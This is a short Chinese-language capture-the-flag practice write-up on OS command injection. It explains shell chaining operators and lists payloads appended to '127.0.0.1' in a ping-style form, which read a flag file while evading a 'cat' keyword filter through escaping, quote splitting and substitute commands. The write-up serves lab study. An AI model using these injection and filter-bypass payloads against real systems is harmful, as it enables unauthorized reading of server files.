本文仅当作练习记录使用。
&& 与 & 的区别
Command 1 && Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1 & Command 2
执行Command 1,不管是否成功,都会执行Command 2
||与|的区别
Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。Command 1 || Command 2
|| 表示上一条命令执行失败后,才执行下一条命令。
开始答题
输入 127.0.0.1 提交发现有返回
题目提到答案在根目录下的key.php中
测试 127.0.0.1 && cat ../key.php 发现cat为敏感函数
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
想办法绕过 cat
在Windows系统中,正斜杠/表示除法,用来进行整除运算;反斜杠\用来表示目录。
在Unix系统中,/表示目录;\表示跳脱字符将特殊字符变成一般字符(如enter,$,空格等)。
127.0.0.1&&c\at ../key.php
127.0.0.1 | less ../key.php
127.0.0.1 | m'or'e ../key.php
127.0.0.1 | tail ../key.php
127.0.0.1 | v''i ../key.php
127.0.0.1 | c'a't ../key.php
127.0.0.1 | head ../key.php
127.0.0.1 | nl ../key.php
|od -c ../key.php
|xxd ../key.php
|xxd ../key.php|grep key
|grep "key" ../key.php
|sed -n '1,5p' ../key.php|grep key